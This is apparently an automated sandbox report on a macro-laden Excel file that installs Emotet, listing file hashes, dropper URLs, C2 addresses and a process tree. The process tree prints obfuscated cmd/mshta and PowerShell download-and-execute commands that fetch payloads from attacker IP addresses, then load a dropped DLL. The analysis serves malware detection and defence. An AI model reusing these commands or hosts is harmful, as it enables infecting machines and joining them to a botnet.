Analysis

  • max time kernel
    150s
  • max time network
    144s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    19-01-2022 22:06

General

  • Target

    c3f53e74cbc71cf1956d17dae939c2d9f31a1c2e81328a3ca88ceb1e3bf652c0.xlsm

  • Size

    115KB

  • MD5

    383a3c7cdb5a9070656164e0b90e41a5

  • SHA1

    af0b4eedbd1c6d85705c26ebb3955f8b35a8cea8

  • SHA256

    c3f53e74cbc71cf1956d17dae939c2d9f31a1c2e81328a3ca88ceb1e3bf652c0

  • SHA512

    c37692e7c9a60fcda701450a620f09c0c95db6e6a1ee3188c2897d09a621d80e3f0fb539506f458ab5c20a7e5adc8adfbe2bcad0860c4bb9484f6292eb391b9c

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://92.255.57.195/sec/se1.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 20 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\c3f53e74cbc71cf1956d17dae939c2d9f31a1c2e81328a3ca88ceb1e3bf652c0.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:492
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2400
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:3688
        • C:\Windows\system32\mshta.exe
          mshta http://0x5cff39c3/sec/se1.html
          3⤵
          • Blocklisted process makes network request
          • Suspicious use of WriteProcessMemory
          PID:3988
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1088
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:1268
              • C:\Windows\SysWow64\rundll32.exe
                C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
                6⤵
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:1992
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                  7⤵
                  • Loads dropped DLL
                  • Drops file in System32 directory
                  • Suspicious use of WriteProcessMemory
                  PID:1504
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Zmymbadnnmtayjxq\hohhfyz.bue",KwVP
                    8⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2644
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Zmymbadnnmtayjxq\hohhfyz.bue",DllRegisterServer
                      9⤵
                      • Blocklisted process makes network request
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1768
          • C:\Windows\system32\WerFault.exe
            C:\Windows\system32\WerFault.exe -u -p 3988 -s 1664
            4⤵
            • Program crash
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3272

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/492-116-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmp

      Filesize

      64KB

    • memory/492-117-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmp

      Filesize

      64KB

    • memory/492-118-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmp

      Filesize

      64KB

    • memory/492-121-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmp

      Filesize

      64KB

    • memory/492-128-0x00007FF8C4EA0000-0x00007FF8C4EB0000-memory.dmp

      Filesize

      64KB

    • memory/492-129-0x00007FF8C4EA0000-0x00007FF8C4EB0000-memory.dmp

      Filesize

      64KB

    • memory/492-115-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmp

      Filesize

      64KB

    • memory/1088-283-0x0000024853670000-0x0000024853692000-memory.dmp

      Filesize

      136KB

    • memory/1088-320-0x0000024853510000-0x0000024853520000-memory.dmp

      Filesize

      64KB

    • memory/1088-304-0x000002486B950000-0x000002486B98C000-memory.dmp

      Filesize

      240KB

    • memory/1088-301-0x0000024853510000-0x0000024853520000-memory.dmp

      Filesize

      64KB

    • memory/1088-315-0x000002486BEA0000-0x000002486BF16000-memory.dmp

      Filesize

      472KB

    • memory/1088-300-0x0000024853510000-0x0000024853520000-memory.dmp

      Filesize

      64KB

    • memory/1504-351-0x0000000005670000-0x0000000005698000-memory.dmp

      Filesize

      160KB

    • memory/1504-338-0x0000000004F90000-0x0000000004FB8000-memory.dmp

      Filesize

      160KB

    • memory/1504-343-0x00000000053E0000-0x0000000005408000-memory.dmp

      Filesize

      160KB

    • memory/1504-345-0x00000000054C0000-0x00000000054E8000-memory.dmp

      Filesize

      160KB

    • memory/1504-347-0x0000000005520000-0x0000000005548000-memory.dmp

      Filesize

      160KB

    • memory/1768-355-0x0000000004C30000-0x0000000004C58000-memory.dmp

      Filesize

      160KB

    • memory/1768-357-0x0000000004D10000-0x0000000004D38000-memory.dmp

      Filesize

      160KB

    • memory/1768-359-0x0000000004DF0000-0x0000000004E18000-memory.dmp

      Filesize

      160KB

    • memory/1768-361-0x0000000004ED0000-0x0000000004EF8000-memory.dmp

      Filesize

      160KB

    • memory/1768-363-0x0000000004FB0000-0x0000000004FD8000-memory.dmp

      Filesize

      160KB

    • memory/1768-365-0x00000000050B0000-0x00000000050D8000-memory.dmp

      Filesize

      160KB

    • memory/1992-334-0x0000000002D50000-0x0000000002D78000-memory.dmp

      Filesize

      160KB

    • memory/2644-348-0x0000000000AD0000-0x0000000000AF8000-memory.dmp

      Filesize

      160KB